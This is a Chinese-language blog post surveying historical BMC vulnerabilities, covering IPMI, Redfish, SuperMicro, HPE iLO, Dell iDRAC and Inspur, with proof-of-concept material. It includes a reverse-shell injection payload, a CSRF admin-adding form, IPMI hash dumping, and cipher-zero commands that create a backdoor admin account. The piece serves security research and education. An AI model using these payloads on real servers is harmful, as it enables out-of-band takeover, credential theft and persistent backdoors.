其他分享
首页 > 其他分享> > BMC 历史漏洞汇总

BMC 历史漏洞汇总

作者:互联网

刚开始接触 BMC 以为研究的人比较少,感觉一般人也没有机会接触到。尤其是服务器风扇的声音,一般人也不想去碰。去查了一下 CVE 之后,发现有不少漏洞,还挺多人玩的。近期也在研究这一块,把 BMC 曾曝出的漏洞做个汇总,看看大佬们都有哪些奇妙的思路。

BMC (Baseboard Management Controller)即 基板管理控制器 ,提供 IPMI/Redfish 架构中的智能特性。它是嵌入在计算机(通常是服务器)主板上的专用微控制器。 BMC负责管理系统管理软件和平台硬件之间的接口。用于计算机系统的带外管理和管理员操作监视。提供的服务包括服务器物理健康状态检测,服务器软硬件信息和运行状态查询、开关机、远程安装操作系统等。

img

有了BMC,运维人员可以通过浏览器等远程控制服务器(下图是HPE ILO后台),比如开关机、装系统、进入服务器终端等,而不用跑到机房忍受高温、令人崩溃的声音。而我们搞安全的就不一样,就"喜欢"听(被迫,要连接串口线),都不用降噪耳机呢!

img

云服务器带外管理

带外管理是指远程客户端通过网络物理通道对服务器进行控制管理和维护。常见的带外管理接口有 IPMI 和 Redfish。

IPMI

1998年,由Intel和HP主推的IPMI标准,引入了单独的带外管理芯片BMC。智能平台管理接口(IPMI)是一套为自主计算机子系统定义的计算机接口规范,用于提供独立于主机系统的CPU,固件(BIOS或UEFI)和操作系统等软硬件的管理和监视功能。 IPMI定义了一套系统管理员接口,格式统一格式,对下层透明,可以架构在网络、串行/Moderm接口、IPMB(I2C)、KCS、SMIC、SMBus等不同接口上。

IPMI也在 2015 年公布 2.0 v1.1标准后,停止更新维护,被 RedFish 永久代替。为了做到兼容,现在不少服务器上仍然支持 IPMI。

IMPI规范主体架构如下:

img

img

使用 IPMI 的 BMC系统如下所示:

img

IPMI 命令举例
# 查看设备信息
ipmitool -I lanplus -H 10.88.1.181 -U sysadmin -P admin chassis status
# 查看用户
ipmitool -I lanplus -H 10.88.1.181 -U sysadmin -P admin user list
# 服务器的开机,关机
ipmitool -I lanplus -H 10.88.1.181 -U sysadmin -P admin power on
ipmitool -I lanplus -H 10.88.1.181 -U sysadmin -P admin power off
# 查看BMC的信息
/usr/bin/ipmitool -I lanplus -H 10.88.1.181 -U sysadmin -P admin mc info

Redfish

RedFish标准由DMTF组织的SPMF论坛维护,它的提出者与 IPMI 的提出者几乎一样。可以说是下一代云服务器带外管理接口。开发Redfish的主要原因之一是解决 IPMI 遗留的无法有效解决的安全需求。Redfish的第1版侧重于服务器,为IPMI - over - LAN提供了一个安全、多节点的替代品。随后 的Redfish版本增加了对网络接口(例如NIC、 CNA和FC HBA )、PCIe交换、本地存储、 NVDIMM、多功能适配器和可组合性以及固 件更新服务、软件更新推送方法和安全特权映射的管理。

Redfish 是一种基于 HTTPs 服务的管理标准,利用 RESTful 接口实现设备管理。每个 HTTPs 操作都以 UTF-8 编码的JSON 的形式,提交或返回一个资源。就像 Web 应用程序向浏览器返回 HTML 一样,RESTful 接口会通过同样的传输机制(HTTPS),以JSON 的形式向客户端返回数据,用于现有客户端应用程序和基于浏览 器的GUI。

API 举例

在Redfish中,所有资源都是从服务入口点( root )链接的,服务入口点始终位于URL: /redfish/v1。添加用户/redfish/v1/AccountService/Account:

img

含POC的漏洞(部分)

CVE-2020-21224:[浪潮 NF5266M5 Cluster Management System 命令注入]

用户登录页面中的用户和密码字段存在命令注入漏洞。

img

后台的处理代码类似。

var1 = `grep xxxx`
var2 = $(python -c "from crypt import crypt;print crypt('$passwd','$1$$var1')")

img

发送 POST 消息实现反弹shell。

op=login&username=1 2\',\'1\'\);  `bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.16.11.81%2F80%200%3E%261`

img

CVE-2019-19642:[SuperMicro IPMI 命令注入]

基于IPMI 的虚拟媒体服务存在命令注入漏洞,ShareHost 、ShareName、PathToimg 等参数均存在命令注入问题,可以使用反引号 "`" 注入任意命令。

img

CVE-2020-15046 : [SuperMicro IPMI 03.40 - CSRF(添加管理员用户)]

CSRF 添加管理员用户 PoC :

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://SuperMicro-IP/cgi/config_user.cgi" method="POST">
      <input type="hidden" name="username" value="JOKER" />
      <input type="hidden" name="original&#95;username" value="2" />
      <input type="hidden" name="password" value="onebadday" />
      <input type="hidden" name="new&#95;privilege" value="4" />
      <input type="submit" value="submit request" />
    </form>

CVE-2018-7117: [HPE iLO5 XSS]

HPE iLO5 Web 后台 DHCP 选项 15domain name 未转移特殊字符,造成了XSS。

img

[CVE-2017-12542][0]: HPE ILO4 认证绕过

在访问 https://127.0.0.1:8443/rest/v1/AccountService/Accounts 时,在HTTP头的Connection中添加大于等于29个字符后,即可绕过验证(下图为成功获取到目标的iLO登录用户名):

img

CVE-2014-8272:[Dell iDRAC IPMI 1.5 - Session ID 随机化问题可被预测]

iDRAC 的 session 格式为 0x0200XXYY。三四字节 0x0200 代表 iDRAC 支持的 IPMI 的版本。第一个字节 YY 的取值范围在 0x00~03,表示会话ID,意味着多点登录的数量不能超过4个。第二个字节 XX,在激活阶段使用临时会话ID后会+1。0x00 具备特殊含义,剩下 28- 1 种可能,从 0x01 ~ 0xFF。

利用:

  1. 使用任意账户发送 “Get Session Challenge” 请求获取当前的临时会话 ID。

  2. 使用下一个会话 ID 构造 IPMI 命令,这个会话 ID 是临时ID+3。

  3. 重复发送构造的请求,注入到下一个会话中。

POC: [exploit-db][1]

Supermicro IPMI 密码泄露

SuperMicro老版本在49152放置了明文密码文件。攻击者可以通过请求服务器49152端口的 /PSBlock 文件,就可得到80端口web管理界面的密码,密码放在PSBlock文件中。

IPMI 接口漏洞

IPMI(Intelligent PlatformManagement Interface)智能平台管理接口,原本是一种Intel架构的企业系统的周边设备所采用的一种工业标准。IPMI亦是一个开放的免费标准,用户无需支付额外的费用即可使用此标准。

IPMI 能够横跨不同的操作系统、固件和硬件平台,可以智能的监视、控制和自动回报大量服务器的运行状况,以降低服务器系统成本。IPMI基于UDP协议进行传输,基于该协议建立的远程管理控制服务,默认绑定在623端口。

img

在IPMI RAKP 消息 2 回复中包含获得 HMAC,通过本地爆破可以得到密码。

$ ipmitool -I lanplus -v -v -v -U ADMIN -P fluffy-wuffy -H 192.168.8.117 chassis identify
[...]
 Key exchange auth code [sha1] : 0xede8ec3caeb235dbad1210ef985b1b19cdb40496
[...]

Metasploit 提供了扫描模块 auxiliary/scanner/ipmi/ipmi_dumphashes。

msf> use auxiliary/scanner/ipmi/ipmi_dumphashes
msf auxiliary(ipmi_dumphashes) > set RHOSTS 10.0.0.0/24
msf auxiliary(ipmi_dumphashes) > set THREADS 256
msf auxiliary(ipmi_dumphashes) > run
[ ] 10.0.0.59 root:266ead5921000000....000000000000000000000000000000001404726f6f74:eaf2bd6a5 3ee18e3b2dfa36cc368ef3a4af18e8b
[ ] 10.0.0.59 Hash for user 'root' matches password 'calvin'
[ ] 10.0.0.59 :408ee18714000000d9cc....000000000000000000000000000000001400:93503c1b7af26abee 34904f54f26e64d580c0
[ ] 10.0.0.59 Hash for user '' matches password 'admin'

远程攻击者可通过使用密码套件0(又名cipher zero)和任意的密码,利用该漏洞绕过身份认证,执行任意IPMI命令。IPMI 2.0使用cipher zero加密组件时,攻击者只需要知道一个有效的用户名就可以接管IPMI的功能。

正常状态下,提供错误的账户是不能建立会话的。

$ ipmitool -I lanplus -H 10.0.0.99 -U Administrator -P FluffyWabbit user list
Error: Unable to establish IPMI v2 / RMCP session
Get User Access command failed (channel 14, user 1)

添加 -C 0 选项,使用 cipher 0 了绕过认证。

$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
1  Administrator    true    false      true      ADMINISTRATOR
2  (Empty User)    true    false      false      NO ACCESS

添加一个后门账户。

$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user set name 2 backdoor
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user set password 2 password
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user priv 2 4
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user enable 2
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
1  Administrator    true    false      true      ADMINISTRATOR
2  backdoor              true    false      true      ADMINISTRATOR
$ ssh backdoor@10.0.0.99
backdoor@10.0.0.99's password: password
User:backdoor logged-in to ILOMXQ3469216(10.0.0.99)
iLO 4 Advanced Evaluation 1.13 at  Nov 08 2012
Server Name: host is unnamed
Server Power: On
</>hpiLO->

漏洞列表(部分)

BMC 存在的漏洞以 Web 后台管理的居多,ipmi、redfish 等管理接口也有不少的问题。暴露的漏洞种类繁多,出现的漏洞类型如下,并列举了部分案例。 总体来看命令注入、认证绕过、越权以及信息泄露这四种占比较大,威胁系数也属于最高。

参考

【火线Zone】

火线Zone是[火线安全平台]运营的封闭式社区,社区成员必须在[火线安全平台]提交有效漏洞才能申请免费加入,符合要求的白帽子可联系[火小表妹]免费加入~

我们不希望出现劣币驱逐良币的结果,我们不希望一个技术社区变成一个水区!

欢迎具备分享精神的白帽子加入火线Zone,共建一个有技术氛围的优质社区!

指纹识别简约卡片动态二维码 (2)

引导分享点赞在看GIF引导三连

标签:BMC,ipmitool,10.0,IPMI,汇总,漏洞,服务器,CVE
来源: https://blog.csdn.net/weixin_40418457/article/details/118028838